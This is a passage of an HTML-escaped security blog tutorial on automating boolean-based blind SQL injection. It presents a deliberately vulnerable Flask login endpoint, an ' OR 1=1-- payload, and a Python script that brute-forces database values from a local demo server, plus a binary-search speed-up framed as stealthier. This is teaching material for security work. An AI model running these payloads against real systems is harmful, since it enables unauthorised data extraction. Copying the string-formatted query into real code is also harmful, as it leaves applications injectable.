&lt;li&gt;&lt;strong&gt;Boolean-Based&lt;/strong&gt;: the attacker crafts SQL queries that return a &lt;em&gt;TRUE&lt;/em&gt; or &lt;em&gt;FALSE&lt;/em&gt; response based on the injected conditions. This could appear as:
&lt;ul&gt;
&lt;li&gt;different status codes (e.g. 302 redirect on success, 401 on fail),&lt;/li&gt;
&lt;li&gt;different response body (e.g. error messages, full search results), or&lt;/li&gt;
&lt;li&gt;(rarely) different headers (e.g. Set-Cookie).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By carefully analysing the application&#39;s response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.&lt;/p&gt;
&lt;p&gt;Each &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Database Management System (e.g. MySQL, Microsoft SQL Server, SQLite, PostgreSQL)&quot;&gt;DBMS&lt;/abbr&gt; has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the &lt;code&gt;SUBSTRING()&lt;/code&gt; function and convert them to numbers with &lt;code&gt;ASCII()&lt;/code&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;By comparing the values with &lt;strong&gt;ASCII numbers&lt;/strong&gt;, we can determine the character stored.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;ASCII table.&quot; href=&quot;https://trebledj.me/img/asciifull-715w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/asciifull-715w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 715 / 488&quot; alt=&quot;ASCII table.&quot; title=&quot;ASCII table.&quot; srcset=&quot;https://trebledj.me/img/asciifull-256w.webp 256w, https://trebledj.me/img/asciifull-512w.webp 512w, https://trebledj.me/img/asciifull-715w.webp 715w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 715px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Simple SQLi Example&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;So what does this look like practically?&lt;/p&gt;
&lt;p&gt;Here we have a simple Flask server with an in-memory SQLite database containing a &lt;code&gt;login&lt;/code&gt; endpoint. The &lt;code&gt;login()&lt;/code&gt; function is simple: check if the username and password exists in the DB. If it exists, then login is successful.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;server.py&quot; data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/login&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    username &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;form&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;username&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    password &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;form&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Check if username/password exists.&lt;/span&gt;
    query &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SELECT * FROM users WHERE username=&#39;{}&#39; AND password=&#39;{}&#39;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;username&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; password&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cursor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;query&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    user &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fetchone&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; user&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Login successful!&#39;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Login failed.&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;server.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is vulnerable to SQL injection, since the &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; parameters are formatted into the query without any sanitisation and without using prepared statements. But this is &lt;em&gt;blind&lt;/em&gt; SQLi, because the results are not returned, only &amp;quot;Login successful&amp;quot; or &amp;quot;Login failed&amp;quot;.&lt;/p&gt;
&lt;p&gt;To exploit this, we start by crafting a proof-of-concept. We&#39;ll pass &lt;code&gt;&#39; OR 1=1-- &lt;/code&gt; to the &lt;code&gt;username&lt;/code&gt; parameter, transforming the query into:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sql&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; username&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;-- &#39; AND password=&#39;...&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;SQL&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;where everything after &lt;code&gt;--&lt;/code&gt; is treated as a comment.&lt;/p&gt;
&lt;p&gt;Since &lt;code&gt;1=1&lt;/code&gt; is always true, all users will be selected, and the page returns: &amp;quot;Login successful&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1200 / 180&quot; alt=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; title=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp 1200w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1200px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using this, we can detect &lt;em&gt;TRUE&lt;/em&gt; responses by checking if the body contains &amp;quot;success&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Great success!&quot; href=&quot;https://trebledj.me/img/960x0-959w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/960x0-959w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 959 / 759&quot; alt=&quot;Great success!&quot; title=&quot;Great success!&quot; srcset=&quot;https://trebledj.me/img/960x0-256w.webp 256w, https://trebledj.me/img/960x0-512w.webp 512w, https://trebledj.me/img/960x0-959w.webp 959w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 959px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Moreover, we can leak further information by changing &lt;code&gt;1=1&lt;/code&gt; to other guessy queries. For instance, we can use this bad boy — &lt;code&gt;UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51&lt;/code&gt; — to test if the first character of &lt;code&gt;sqlite_version()&lt;/code&gt; is &lt;code&gt;&#39;3&#39;&lt;/code&gt;. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.&lt;/p&gt;
&lt;p&gt;We can use this simple script to brute-force the remaining characters:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;check_sql_value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;http://127.0.0.1:5000/login&#39;&lt;/span&gt;
    data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&#39;username&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;&#39; OR UNICODE(SUBSTRING(&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, 1)) = &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;guess&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; -- &quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;success&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text

max_data_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;
final_data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# SQL&#39;s SUBSTRING uses 1-based indexing.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_data_len&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; guess &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; check_sql_value&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;sqlite_version()&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            final_data &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;guess&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;final_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# No valid ASCII chars found. Probably end of string.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 638 / 214&quot; alt=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; title=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp 638w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 638px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&quot;optimisations-with-binary-search&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#optimisations-with-binary-search&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Optimisations with Binary Search&lt;/h2&gt;
&lt;p&gt;One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.&lt;/p&gt;
&lt;p&gt;Normally, binary search relies on three possible outputs for a test: &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, and &lt;code&gt;&amp;gt;&lt;/code&gt;. But it is possible to make do with just two possible outputs: &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;=&lt;/code&gt;. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;binary_search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        mid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;low &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; mid &lt;span class=&quot;token comment&quot;&gt;# Found val.&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; - &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#92;tGuess: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid  &lt;span class=&quot;token comment&quot;&gt;# Eliminate upper half.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            low &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid   &lt;span class=&quot;token comment&quot;&gt;# Eliminate lower half.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-python&quot; data-prompt=&quot;&gt;&gt;&gt;&quot; data-filter-output=&quot;out&gt;&quot; data-lang-off=&quot;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&gt;&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;result:&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;125&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  0 - 128       Guess:   64&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 64 - 128       Guess:   96&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 96 - 128       Guess:  112&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;112 - 128       Guess:  120&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;120 - 128       Guess:  124&lt;/span&gt;
